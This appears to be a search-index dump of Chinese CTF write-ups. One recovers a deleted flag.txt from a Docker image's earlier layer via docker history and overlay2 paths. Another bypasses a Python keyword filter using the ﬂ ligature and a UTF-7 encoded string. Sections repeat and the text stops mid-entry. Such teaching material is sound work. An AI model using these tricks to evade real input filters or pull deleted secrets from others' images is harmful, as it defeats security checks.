/var/lib/docker/overlay2/edef4c3786d7fd34d6edc434c22b8d0650f640a2c1c06a0171e424302cc4b756/diff: /var/lib/docker/overlay2/a9812c2890727e60f709b917d69845dd39c8bddff28651e617b35dbba0684efe/diff: /var/lib/docker/overlay2/56ae36174f5ac0f1219fb9d05125d76cc418050d191de2c11710ec4045c38717/diff: /var/lib/docker/overlay2/af2fc9999b37a6e0ac6aad23e8a7d3ecda2696afa36a5cf31056e37f8e416ad4/diff: /var/lib/docker/overlay2/6711b59d1f347f930e92df00f5a684eca8eedce1ced9df984ccbd2232e45bb30/diff: /var/lib/docker/overlay2/24373e7f69c254b21c3b16128e6055ba09a58acb8bc08cc9273c0d745dc1cc0c/diff: /var/lib/docker/overlay2/8261fbe516dac64a01f9e5d213bcd42dca12e8cfb1f95a530497511a21b328f3/diff: /var/lib/docker/overlay2/ce4ad073872a2365e6f364031d121b0aa174fefa565a7c7904300f638d9cf3a9/diff: /var/lib/docker/overlay2/4db84c7954a7906e803b5e2bae2d0e8c3dcb7ad39f3d27822bd6bee6d42954a1/diff: /var/lib/docker/overlay2/e99c01108bb370642151fbdc8209bc70c8871604a5efd2a6b9005c29160b03fe/diff: /var/lib/docker/overlay2/bbe523d8bff045d3c6db194ded9773912a2a527564724c9c27393cdb47d94754/diff\" , \"MergedDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/merged\" , \"UpperDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/diff\" , \"WorkDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/work\" } , \"Name\" : \"overlay2\" } , \"RootFS\" : { \"Type\" : \"layers\" , \"Layers\" : [ \"sha256:613be09ab3c0860a5216936f412f09927947012f86bfa89b263dfa087a725f81\" , ... \"sha256:ce2f773d43eee87d53a828fbcd2daa8e6ae3f0490fbaf616a8aba752839072ff\" ] } , \"Metadata\" : { \"LastTagTime\" : \"0001-01-01T00:00:00Z\" } } ] \u901a\u8fc7 history \u67e5\u770b\u5404\u5c42\u7684\u6307\u4ee4\uff0c\u5220\u9664 flag.txt \u7684\u64cd\u4f5c\u5728\u6700\u540e\u4e00\u5c42\uff0c\u662f\u76f8\u6bd4\u4e8e\u5012\u6570\u7b2c\u4e8c\u5c42\u7684\u5dee\u5f02\uff0c\u67e5\u770b\u5012\u6570\u7b2c\u4e00\u5c42\u7684 diff \u76ee\u5f55 $ docker history 8b8d3c8324c7/stringtool IMAGE CREATED CREATED BY SIZE COMMENT be6d023618d1 3 weeks ago /bin/sh -c #(nop) ENTRYPOINT [\"/bin/sh\" \"-c\u2026 0B # ENTRYPOINT \u4e0d\u521b\u5efa\u65b0\u5c42 3 weeks ago /bin/sh -c rm /code/flag.txt 0B 3 weeks ago /bin/sh -c #(nop) COPY dir:c36852c2989cd5e8b\u2026 1.19kB 7 weeks ago /bin/sh -c #(nop) WORKDIR /code 0B 7 weeks ago /bin/sh -c mkdir /code 0B 7 weeks ago /bin/sh -c #(nop) ENV PYTHONUNBUFFERED=1 0B 7 weeks ago /bin/sh -c pip3 install pipenv 37 .5MB 7 weeks ago /bin/sh -c pip3 install bpython 5 .08MB 7 weeks ago /bin/sh -c pip3 install ipython 23 .8MB 7 weeks ago /bin/sh -c yum clean all 27 .9MB 7 weeks ago /bin/sh -c rm -rf /tmp/Python-3.7.3* 0B 7 weeks ago /bin/sh -c sed -i 's/python/python2/' /usr/b\u2026 802B 7 weeks ago /bin/sh -c pip install --upgrade pip 9 .55MB 7 weeks ago /bin/sh -c ln -s /usr/local/bin/pip3 /usr/bi\u2026 19B 7 weeks ago /bin/sh -c ln -s /usr/local/bin/python3 /usr\u2026 22B 7 weeks ago /bin/sh -c rm -f /usr/bin/python 0B 7 weeks ago /bin/sh -c make && make install 300MB 7 weeks ago /bin/sh -c /tmp/Python-3.7.3/configure 860kB 7 weeks ago /bin/sh -c tar -zxvf /tmp/Python-3.7.3.tgz -\u2026 79 .3MB 7 weeks ago /bin/sh -c wget -O /tmp/Python-3.7.3.tgz htt\u2026 23MB 7 weeks ago /bin/sh -c yum -y install mariadb-devel 103MB 7 weeks ago /bin/sh -c yum -y install vim 115MB 7 weeks ago /bin/sh -c yum -y install gcc 94 .8MB 7 weeks ago /bin/sh -c yum-builddep python -y 316MB 7 weeks ago /bin/sh -c yum -y install wget make yum-utils 92 .4MB 7 weeks ago /bin/sh -c #(nop) MAINTAINER Software_Engin\u2026 0B 3 months ago /bin/sh -c #(nop) CMD [\"/bin/bash\"] 0B 3 months ago /bin/sh -c #(nop) LABEL org.label-schema.sc\u2026 0B 3 months ago /bin/sh -c #(nop) ADD file:61908381d3142ffba\u2026 203MB LowerDir \u4e2d\u5217\u51fa\u7684\u5c42\u76ee\u5f55\u987a\u5e8f\u4e0e history \u5c55\u793a\u7684\u76f8\u540c\uff0c\u67e5\u770b\u76ee\u5f55\u5373\u53ef\u83b7\u5f97 Flag $ tree /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff \u2514\u2500\u2500 code \u251c\u2500\u2500 app.py \u251c\u2500\u2500 Dockerfile \u2514\u2500\u2500 flag.txt 1 directory, 3 files $ cat /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff/code/flag.txt flag { Docker_Layers! = PS_Layers_hhh } \u53c2\u8003\u8d44\u6599 \u00b6 Best practices for writing Dockerfiles | Docker Documentation About storage drivers | Docker Documentation Use the OverlayFS storage driver | Docker Documentation docker save | Docker Documentation","title":"233 \u540c\u5b66\u7684 Docker"},{"location":"misc/233_docker/#_1","text":"233 \u540c\u5b66\u5728\u8f6f\u5de5\u8bfe\u4e0a\u5b66\u5230\u4e86 Docker \u8fd9\u79cd\u65b9\u4fbf\u7684\u4e1c\u897f\uff0c\u4e8e\u662f\u7ed9\u81ea\u5df1\u7684\u5b57\u7b26\u4e32\u5de5\u5177\u9879\u76ee\u5199\u4e86\u4e00\u4e2a Dockerfile\u3002 \u4f46\u662f 233 \u540c\u5b66\u7a81\u7136\u53d1\u73b0\u5b83\u4e0d\u5c0f\u5fc3\u628a\u4e00\u4e2a\u79c1\u5bc6\u6587\u4ef6\uff08flag.txt\uff09\u6253\u5305\u8fdb\u53bb\u4e86\uff0c\u4e8e\u662f\u5199\u4e86\u4e00\u884c\u547d\u4ee4\u5220\u6389\u8fd9\u4e2a\u6587\u4ef6\u3002 \u300c\u65e2\u7136\u5df2\u7ecf\u5220\u6389\u4e86\uff0c\u5e94\u8be5\u4e0d\u4f1a\u88ab\u4eba\u627e\u51fa\u6765\u5427\uff1f\u300d233 \u60f3\u9053\u3002 Docker Hub \u5730\u5740\uff1a 8b8d3c8324c7/stringtool","title":"\u9898\u76ee"},{"location":"misc/233_docker/#_2","text":"Docker \u955c\u50cf\u7531\u4e00\u7cfb\u5217\u5c42\u7ec4\u6210\uff0c\u9664\u6700\u540e\u4e00\u5c42\uff0c\u5176\u4ed6\u90fd\u662f\u53ea\u8bfb\u5c42\uff0c\u6bcf\u4e00\u5c42\u4ee3\u8868\u4e00\u53e5 Dockerfile \u6307\u4ee4\uff0c\u8fd9\u4e9b\u5c42\u88ab\u5806\u53e0\u8d77\u6765\uff0c\u6bcf\u4e00\u5c42\u90fd\u662f\u4e0a\u4e00\u5c42\u53d8\u5316\u7684\u589e\u91cf \u53ea\u6709 RUN \u3001 COPY \u3001 ADD \u6307\u4ee4\u521b\u5efa\u65b0\u7684\u5c42\uff0c\u5176\u5b83\u6307\u4ee4\u53ea\u521b\u5efa\u4e34\u65f6\u4e2d\u95f4\u955c\u50cf\uff0c\u4e0d\u589e\u52a0\u6784\u5efa\u7684\u5927\u5c0f \u6bcf\u4e2a\u955c\u50cf\u5c42\u5728 /var/lib/docker/ \u4e0b\u90fd\u6709\u81ea\u5df1\u7684\u76ee\u5f55\uff0c\u5305\u542b\u955c\u50cf\u7684\u5185\u5bb9","title":"\u57fa\u7840\u77e5\u8bc6"},{"location":"misc/233_docker/#_3","text":"\u9898\u76ee\u4e2d\u63d0\u5230 \u4e8e\u662f\u5199\u4e86\u4e00\u884c\u547d\u4ee4\u5220\u6389\u8fd9\u4e2a\u6587\u4ef6 \uff0c\u4f7f\u7528\u7684\u5e94\u8be5\u662f\u5f62\u5982 RUN rm flag.txt \u7684\u547d\u4ee4\uff0c RUN \u6307\u4ee4\u4f1a\u521b\u5efa\u65b0\u7684\u5c42\uff0c\u800c\u975e\u4f7f\u7528\u4e34\u65f6\u4e2d\u95f4\u955c\u50cf\uff0c\u90a3\u4e48\u627e\u5230\u8fd9\u4e00\u5c42\uff0c\u5c31\u53ef\u4ee5\u627e\u5230 flag.txt \u83b7\u53d6\u5404\u5c42\u7684\u76ee\u5f55\u4fe1\u606f\uff0c\u955c\u50cf\u5c42\u4e3a lowerdir \uff0c diff \u76ee\u5f55\u4e0b\u5305\u542b\u8be5\u5c42\u7684\u5185\u5bb9 $ docker inspect 8b8d3c8324c7/stringtool [ { \"Id\" : \"sha256:be6d023618d199e0ec7448f70e5e47a00c6c2b79777ad5e2d312a6f74d6ad56b\" , \"RepoTags\" : [ \"8b8d3c8324c7/stringtool:latest\" ] , \"RepoDigests\" : [ \"8b8d3c8324c7/stringtool@sha256:aef87a00ad7a4e240e4b475ea265d3818c694034c26ec227d8d4f445f3d93152\" ] , \"Parent\" : \"\" , \"Comment\" : \"\" , \"Created\" : \"2020-10-16T12:51:09.221320098Z\" , \"Container\" : \"d2f452fddd5c71c8c57a29d67f29c69ffac419440d57664dad6e4ba1f0eff8a1\" , \"ContainerConfig\" : { ... } , \"DockerVersion\" : \"19.03.5\" , \"Author\" : \"Software_Engineering_Project\" , \"Config\" : { ... } , \"Architecture\" : \"amd64\" , \"Os\" : \"linux\" , \"Size\" : 1430524643 , \"VirtualSize\" : 1430524643 , \"GraphDriver\" : { \"Data\" : { \"LowerDir\" : \"/var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff: /var/lib/docker/overlay2/72c760a6faaf0c00299a0416d4a7d7892dbbe84c0d723e3cd026cf9bc23f2225/diff: /var/lib/docker/overlay2/9c29b0ec3156e99f41991b01534021a575347898c6836c8077f5516ffee138af/diff: /var/lib/docker/overlay2/a8721c9f92017818f0bfb114966aa0b84b543cfbefe359cfb5fd733df7e25431/diff: /var/lib/docker/overlay2/ebfbfcd1df60c25be45dd84de29f38b15f39825ce5f231492a85cd857f08af31/diff: /var/lib/docker/overlay2/bf646619d7607fb28d5deec60b2e340a612add9825590f34a23e8205c5d209f6/diff: /var/lib/docker/overlay2/31943f86d1bbe26181f3bef8f3ae1de40f2650458ad373a8a2a71f5234d61890/diff: /var/lib/docker/overlay2/29d9434b310f8c5a17746f7c8a5d56e84c631696794e752fb2e19ab2112d1534/diff: /var/lib/docker/overlay2/ea91dc145974b3159822f833367282a6cff5bc4fed614146b07e931795679298/diff: /var/lib/docker/overlay2/f3eb4d3cf03440fded8f1bf09c8e797472471fcacbe25217b7ce7f9ffab3f309/diff: /var/lib/docker/overlay2/d47b622e362e0bbbd442de5608ef290f62e7a828c3c49ef4897c2bd6bc53cddf/diff: /var/lib/docker/overlay2/edef4c3786d7fd34d6edc434c22b8d0650f640a2c1c06a0171e424302cc4b756/diff: /var/lib/docker/overlay2/a9812c2890727e60f709b917d69845dd39c8bddff28651e617b35dbba0684efe/diff: /var/lib/docker/overlay2/56ae36174f5ac0f1219fb9d05125d76cc418050d191de2c11710ec4045c38717/diff: /var/lib/docker/overlay2/af2fc9999b37a6e0ac6aad23e8a7d3ecda2696afa36a5cf31056e37f8e416ad4/diff: /var/lib/docker/overlay2/6711b59d1f347f930e92df00f5a684eca8eedce1ced9df984ccbd2232e45bb30/diff: /var/lib/docker/overlay2/24373e7f69c254b21c3b16128e6055ba09a58acb8bc08cc9273c0d745dc1cc0c/diff: /var/lib/docker/overlay2/8261fbe516dac64a01f9e5d213bcd42dca12e8cfb1f95a530497511a21b328f3/diff: /var/lib/docker/overlay2/ce4ad073872a2365e6f364031d121b0aa174fefa565a7c7904300f638d9cf3a9/diff: /var/lib/docker/overlay2/4db84c7954a7906e803b5e2bae2d0e8c3dcb7ad39f3d27822bd6bee6d42954a1/diff: /var/lib/docker/overlay2/e99c01108bb370642151fbdc8209bc70c8871604a5efd2a6b9005c29160b03fe/diff: /var/lib/docker/overlay2/bbe523d8bff045d3c6db194ded9773912a2a527564724c9c27393cdb47d94754/diff\" , \"MergedDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/merged\" , \"UpperDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/diff\" , \"WorkDir\" : \"/var/lib/docker/overlay2/66b4f69b33d469a3d81a2fa03e1e621b8de2b9ed4ba8a756279c2d3a0a39fa7e/work\" } , \"Name\" : \"overlay2\" } , \"RootFS\" : { \"Type\" : \"layers\" , \"Layers\" : [ \"sha256:613be09ab3c0860a5216936f412f09927947012f86bfa89b263dfa087a725f81\" , ... \"sha256:ce2f773d43eee87d53a828fbcd2daa8e6ae3f0490fbaf616a8aba752839072ff\" ] } , \"Metadata\" : { \"LastTagTime\" : \"0001-01-01T00:00:00Z\" } } ] \u901a\u8fc7 history \u67e5\u770b\u5404\u5c42\u7684\u6307\u4ee4\uff0c\u5220\u9664 flag.txt \u7684\u64cd\u4f5c\u5728\u6700\u540e\u4e00\u5c42\uff0c\u662f\u76f8\u6bd4\u4e8e\u5012\u6570\u7b2c\u4e8c\u5c42\u7684\u5dee\u5f02\uff0c\u67e5\u770b\u5012\u6570\u7b2c\u4e00\u5c42\u7684 diff \u76ee\u5f55 $ docker history 8b8d3c8324c7/stringtool IMAGE CREATED CREATED BY SIZE COMMENT be6d023618d1 3 weeks ago /bin/sh -c #(nop) ENTRYPOINT [\"/bin/sh\" \"-c\u2026 0B # ENTRYPOINT \u4e0d\u521b\u5efa\u65b0\u5c42 3 weeks ago /bin/sh -c rm /code/flag.txt 0B 3 weeks ago /bin/sh -c #(nop) COPY dir:c36852c2989cd5e8b\u2026 1.19kB 7 weeks ago /bin/sh -c #(nop) WORKDIR /code 0B 7 weeks ago /bin/sh -c mkdir /code 0B 7 weeks ago /bin/sh -c #(nop) ENV PYTHONUNBUFFERED=1 0B 7 weeks ago /bin/sh -c pip3 install pipenv 37 .5MB 7 weeks ago /bin/sh -c pip3 install bpython 5 .08MB 7 weeks ago /bin/sh -c pip3 install ipython 23 .8MB 7 weeks ago /bin/sh -c yum clean all 27 .9MB 7 weeks ago /bin/sh -c rm -rf /tmp/Python-3.7.3* 0B 7 weeks ago /bin/sh -c sed -i 's/python/python2/' /usr/b\u2026 802B 7 weeks ago /bin/sh -c pip install --upgrade pip 9 .55MB 7 weeks ago /bin/sh -c ln -s /usr/local/bin/pip3 /usr/bi\u2026 19B 7 weeks ago /bin/sh -c ln -s /usr/local/bin/python3 /usr\u2026 22B 7 weeks ago /bin/sh -c rm -f /usr/bin/python 0B 7 weeks ago /bin/sh -c make && make install 300MB 7 weeks ago /bin/sh -c /tmp/Python-3.7.3/configure 860kB 7 weeks ago /bin/sh -c tar -zxvf /tmp/Python-3.7.3.tgz -\u2026 79 .3MB 7 weeks ago /bin/sh -c wget -O /tmp/Python-3.7.3.tgz htt\u2026 23MB 7 weeks ago /bin/sh -c yum -y install mariadb-devel 103MB 7 weeks ago /bin/sh -c yum -y install vim 115MB 7 weeks ago /bin/sh -c yum -y install gcc 94 .8MB 7 weeks ago /bin/sh -c yum-builddep python -y 316MB 7 weeks ago /bin/sh -c yum -y install wget make yum-utils 92 .4MB 7 weeks ago /bin/sh -c #(nop) MAINTAINER Software_Engin\u2026 0B 3 months ago /bin/sh -c #(nop) CMD [\"/bin/bash\"] 0B 3 months ago /bin/sh -c #(nop) LABEL org.label-schema.sc\u2026 0B 3 months ago /bin/sh -c #(nop) ADD file:61908381d3142ffba\u2026 203MB LowerDir \u4e2d\u5217\u51fa\u7684\u5c42\u76ee\u5f55\u987a\u5e8f\u4e0e history \u5c55\u793a\u7684\u76f8\u540c\uff0c\u67e5\u770b\u76ee\u5f55\u5373\u53ef\u83b7\u5f97 Flag $ tree /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff \u2514\u2500\u2500 code \u251c\u2500\u2500 app.py \u251c\u2500\u2500 Dockerfile \u2514\u2500\u2500 flag.txt 1 directory, 3 files $ cat /var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff/code/flag.txt flag { Docker_Layers! = PS_Layers_hhh }","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/233_docker/#_4","text":"Best practices for writing Dockerfiles | Docker Documentation About storage drivers | Docker Documentation Use the OverlayFS storage driver | Docker Documentation docker save | Docker Documentation","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/233_string_tool/","text":"\u9898\u76ee \u00b6 233 \u540c\u5b66\u6700\u8fd1\u521a\u521a\u5b66\u4f1a\u4e86 Python \u7684\u5b57\u7b26\u4e32\u64cd\u4f5c\uff0c\u4e8e\u662f\u5199\u4e86\u4e24\u4e2a\u5c0f\u7a0b\u5e8f\u8fd0\u884c\u5728\u81ea\u5df1\u7684\u670d\u52a1\u5668\u4e0a\u3002\u8fd9\u4e2a\u5de5\u5177\u63d0\u4f9b\u4e24\u4e2a\u529f\u80fd\uff1a \u5b57\u7b26\u4e32\u5927\u5199\u5de5\u5177 UTF-7 \u5230 UTF-8 \u8f6c\u6362\u5de5\u5177 233 \u540c\u5b66\u7684\u6e90\u4ee3\u7801 import re def to_upper ( s ): r = re . compile ( '[fF][lL][aA][gG]' ) if r . match ( s ): print ( 'how dare you' ) elif s . upper () == 'FLAG' : print ( 'yes, I will give you the flag' ) print ( open ( '/flag1' ) . read ()) else : print ( ' %s ' % s . upper ()) def to_utf8 ( s ): r = re . compile ( '[fF][lL][aA][gG]' ) s = s . encode () # make it bytes if r . match ( s . decode ()): print ( 'how dare you' ) elif s . decode ( 'utf-7' ) == 'flag' : print ( 'yes, I will give you the flag' ) print ( open ( '/flag2' ) . read ()) else : print ( ' %s ' % s . decode ( 'utf-7' )) def main (): print ( 'Welcome to the best string tool here!' ) print ( 'Brought to you by 233 PROUDLY' ) print ( '' ) print ( 'Which tool do you want?' ) print ( '1. Convert my string to UPPERCASE!!' ) print ( '2. Convert my UTF-7 string to UTF-8!!' ) choice = input () if choice [ 0 ] == '1' : print ( 'Welcome to the capitalizer tool, please input your string: ' ) to_upper ( input ()) elif choice [ 0 ] == '2' : print ( 'Welcome to the UTF-7->UTF-8 tool, please input your string: ' ) to_utf8 ( input ()) else : print ( 'I am confused, madam' ) main () \u8bfb\u4e86\u4ee3\u7801\u4e4b\u540e\uff0c\u4f60\u60ca\u8bb6\u5730\u53d1\u73b0\u81ea\u5df1\u4f3c\u4e4e\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u8f93\u5165\uff0c\u4f7f\u5f97 233 \u540c\u5b66\u7684\u5de5\u5177\u8fd4\u56de flag\u3002 \u89e3\u9898\u601d\u8def \u00b6 \u5b57\u7b26\u4e32\u5927\u5199\u5de5\u5177 \u00b6 \u5bf9\u4e8e Unicode \u6765\u8bf4\uff0c\u5927\u5c0f\u5199\u5e76\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e00\u5bf9\u5e94\u7684 - Myths of Unicode \u5176\u4e2d\u6709\u4e00\u4e2a\u5b57\u7b26 \ufb02 \u8f6c\u6362\u6210\u5927\u5199\u540e\u5c31\u53ef\u4ee5\u5f97\u5230 FL \u5982\u679c\u731c\u5230\u7ecf\u8fc7 upper() \u4f1a\u5c06\u4e00\u4e2a\u5b57\u7b26\u53d8\u6210\u4e24\u4e2a\u5b57\u7b26\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7a0b\u5e8f\u67e5\u627e\u8fd9\u4e2a\u5b57\u7b26 for i in range ( 0 , 65535 ): if chr ( i ) . upper () == 'FL' or chr ( i ) . upper () == 'LA' or chr ( i ) . upper () == 'AG' : print ( chr ( i )) break \u7531\u6b64\u53ef\u83b7\u5f97\u7b2c\u4e00\u4e2a Flag \u5927\u5c0f\u5199\u8f6c\u6362\u7279\u4f8b \u00b6 \u6765\u6e90\uff1a Wisdom/Awesome-Unicode: A curated list of delightful Unicode tidbits, packages and resources. Uppercase Transformation Collisions Char Code Point Output Char \u00df 0x00DF SS \u0131 0x0131 I \u017f 0x017F S \ufb00 0xFB00 FF \ufb01 0xFB01 FI \ufb02 0xFB02 FL \ufb03 0xFB03 FFI \ufb04 0xFB04 FFL \ufb05 0xFB05 ST \ufb06 0xFB06 ST Lowercase Transformation Collisions Char Code Point Output Char \u212a 0x212A k UTF-7 \u5230 UTF-8 \u8f6c\u6362\u5de5\u5177 \u00b6 \u5c06 flag \u7684 Unicode \u6570\u503c\uff08UTF-16\uff09\u7528\u4e8c\u8fdb\u5236\u8868\u793a f: 0000 0000 \u202d0110 0110\u202c l: 0000 0000 \u202d\u202d0110 1100\u202c a: 0000 0000 \u202d\u202d0110 0001\u202c g: 0000 0000 \u202d\u202d0110 0111\u202c \u5408\u5e76\u540e\u4ece\u5de6\u4ee5\u516d\u4f4d\u6570\u4e3a\u4e00\u7ec4\u91cd\u65b0\u7f16\u7ec4\uff0c\u4e0d\u8db3\u516d\u4f4d\u7684\u7528 0 \u8865\u5c3e 000000 00\u202d0110 0110\u202c00 000000 \u202d\u202d011011 00\u202c0000 0000\u202d01 100001\u202c 000000 000110 0111\u202c00 \u5c06\u6bcf\u4e00\u7ec4\u516d\u4f4d\u6570\u7684\u6570\u503c\u4ee5\u5bf9\u5e94\u7684 Base64 \u7801\u53d6\u4ee3\uff1a AGYAbABhAGc \u4f7f\u7528 + \u6807\u8bc6\u5f00\u5934\uff0c\u7ed3\u5c3e\u4ee5\u4efb\u4f55\u4e0d\u5728 Base64 \u91cc\u5b9a\u4e49\u7684\u5b57\u7b26\u6765\u6807\u8bc6\u3002\u82e5\u5728 Base64 \u533a\u5757\u4e4b\u540e\u4f7f\u7528 - \u4f5c\u4e3a\u7ed3\u5c3e\u6807\u8bc6\uff0c\u5219\u89e3\u7801\u5668\u4f1a\u4ece\u4e0b\u4e2a\u5b57\u7b26\u7ee7\u7eed\u89e3\u7801\uff0c\u53cd\u4e4b\u5219\u4ee5\u6b64\u5b57\u7b26\u4f5c\u4e3a\u975e Base64 \u7684\u533a\u5757\u5f00\u5934\u7ee7\u7eed\u89e3\u7801 UTF-8 Everywhere \u53c2\u8003\u8d44\u6599 \u00b6 UTF-7 - Wikipedia Base64 - Wikipedia","title":"233 \u540c\u5b66\u7684\u5b57\u7b26\u4e32\u5de5\u5177"},{"location":"misc/233_string_tool/#_1","text":"233 \u540c\u5b66\u6700\u8fd1\u521a\u521a\u5b66\u4f1a\u4e86 Python \u7684\u5b57\u7b26\u4e32\u64cd\u4f5c\uff0c\u4e8e\u662f\u5199\u4e86\u4e24\u4e2a\u5c0f\u7a0b\u5e8f\u8fd0\u884c\u5728\u81ea\u5df1\u7684\u670d\u52a1\u5668\u4e0a\u3002\u8fd9\u4e2a\u5de5\u5177\u63d0\u4f9b\u4e24\u4e2a\u529f\u80fd\uff1a \u5b57\u7b26\u4e32\u5927\u5199\u5de5\u5177 UTF-7 \u5230 UTF-8 \u8f6c\u6362\u5de5\u5177 233 \u540c\u5b66\u7684\u6e90\u4ee3\u7801 import re def to_upper ( s ): r = re . compile ( '[fF][lL][aA][gG]' ) if r . match ( s ): print ( 'how dare you' ) elif s . upper () == 'FLAG' : print ( 'yes, I will give you the flag' ) print ( open ( '/flag1' ) . read ()) else : print ( ' %s ' % s . upper ()) def to_utf8 ( s ): r = re . compile ( '[fF][lL][aA][gG]' ) s = s . encode () # make it bytes if r . match ( s . decode ()): print ( 'how dare you' ) elif s . decode ( 'utf-7' ) == 'flag' : print ( 'yes, I will give you the flag' ) print ( open ( '/flag2' ) . read ()) else : print ( ' %s ' % s . decode ( 'utf-7' )) def main (): print ( 'Welcome to the best string tool here!' ) print ( 'Brought to you by 233 PROUDLY' ) print ( '' ) print ( 'Which tool do you want?' ) print ( '1. Convert my string to UPPERCASE!!' ) print ( '2. Convert my UTF-7 string to UTF-8!!' ) choice = input () if choice [ 0 ] == '1' : print ( 'Welcome to the capitalizer tool, please input your string: ' ) to_upper ( input ()) elif choice [ 0 ] == '2' : print ( 'Welcome to the UTF-7->UTF-8 tool, please input your string: ' ) to_utf8 ( input ()) else : print ( 'I am confused, madam' ) main () \u8bfb\u4e86\u4ee3\u7801\u4e4b\u540e\uff0c\u4f60\u60ca\u8bb6\u5730\u53d1\u73b0\u81ea\u5df1\u4f3c\u4e4e\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u8f93\u5165\uff0c\u4f7f\u5f97 233 \u540c\u5b66\u7684\u5de5\u5177\u8fd4\u56de flag\u3002","title":"\u9898\u76ee"},{"location":"misc/233_string_tool/#_2","text":"","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/233_string_tool/#_3","text":"\u5bf9\u4e8e Unicode \u6765\u8bf4\uff0c\u5927\u5c0f\u5199\u5e76\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e00\u5bf9\u5e94\u7684 - Myths of Unicode \u5176\u4e2d\u6709\u4e00\u4e2a\u5b57\u7b26 \ufb02 \u8f6c\u6362\u6210\u5927\u5199\u540e\u5c31\u53ef\u4ee5\u5f97\u5230 FL \u5982\u679c\u731c\u5230\u7ecf\u8fc7 upper() \u4f1a\u5c06\u4e00\u4e2a\u5b57\u7b26\u53d8\u6210\u4e24\u4e2a\u5b57\u7b26\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7a0b\u5e8f\u67e5\u627e\u8fd9\u4e2a\u5b57\u7b26 for i in range ( 0 , 65535 ): if chr ( i ) . upper () == 'FL' or chr ( i ) . upper () == 'LA' or chr ( i ) . upper () == 'AG' : print ( chr ( i )) break \u7531\u6b64\u53ef\u83b7\u5f97\u7b2c\u4e00\u4e2a Flag","title":"\u5b57\u7b26\u4e32\u5927\u5199\u5de5\u5177"},{"location":"misc/233_string_tool/#_4","text":"\u6765\u6e90\uff1a Wisdom/Awesome-Unicode: A curated list of delightful Unicode tidbits, packages and resources. Uppercase Transformation Collisions Char Code Point Output Char \u00df 0x00DF SS \u0131 0x0131 I \u017f 0x017F S \ufb00 0xFB00 FF \ufb01 0xFB01 FI \ufb02 0xFB02 FL \ufb03 0xFB03 FFI \ufb04 0xFB04 FFL \ufb05 0xFB05 ST \ufb06 0xFB06 ST Lowercase Transformation Collisions Char Code Point Output Char \u212a 0x212A k","title":"\u5927\u5c0f\u5199\u8f6c\u6362\u7279\u4f8b"},{"location":"misc/233_string_tool/#utf-7-utf-8","text":"\u5c06 flag \u7684 Unicode \u6570\u503c\uff08UTF-16\uff09\u7528\u4e8c\u8fdb\u5236\u8868\u793a f: 0000 0000 \u202d0110 0110\u202c l: 0000 0000 \u202d\u202d0110 1100\u202c a: 0000 0000 \u202d\u202d0110 0001\u202c g: 0000 0000 \u202d\u202d0110 0111\u202c \u5408\u5e76\u540e\u4ece\u5de6\u4ee5\u516d\u4f4d\u6570\u4e3a\u4e00\u7ec4\u91cd\u65b0\u7f16\u7ec4\uff0c\u4e0d\u8db3\u516d\u4f4d\u7684\u7528 0 \u8865\u5c3e 000000 00\u202d0110 0110\u202c00 000000 \u202d\u202d011011 00\u202c0000 0000\u202d01 100001\u202c 000000 000110 0111\u202c00 \u5c06\u6bcf\u4e00\u7ec4\u516d\u4f4d\u6570\u7684\u6570\u503c\u4ee5\u5bf9\u5e94\u7684 Base64 \u7801\u53d6\u4ee3\uff1a AGYAbABhAGc \u4f7f\u7528 + \u6807\u8bc6\u5f00\u5934\uff0c\u7ed3\u5c3e\u4ee5\u4efb\u4f55\u4e0d\u5728 Base64 \u91cc\u5b9a\u4e49\u7684\u5b57\u7b26\u6765\u6807\u8bc6\u3002\u82e5\u5728 Base64 \u533a\u5757\u4e4b\u540e\u4f7f\u7528 - \u4f5c\u4e3a\u7ed3\u5c3e\u6807\u8bc6\uff0c\u5219\u89e3\u7801\u5668\u4f1a\u4ece\u4e0b\u4e2a\u5b57\u7b26\u7ee7\u7eed\u89e3\u7801\uff0c\u53cd\u4e4b\u5219\u4ee5\u6b64\u5b57\u7b26\u4f5c\u4e3a\u975e Base64 \u7684\u533a\u5757\u5f00\u5934\u7ee7\u7eed\u89e3\u7801 UTF-8 Everywhere","title":"UTF-7 \u5230 UTF-8 \u8f6c\u6362\u5de5\u5177"},{"location":"misc/233_string_tool/#_5","text":"UTF-7 - Wikipedia Base64 - Wikipedia","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/4f_system_middle/","text":"\u9898\u76ee \u00b6 \u5c0f P \u5728\u4e00\u6559\u505a \u5085\u91cc\u53f6\u5149\u5b66 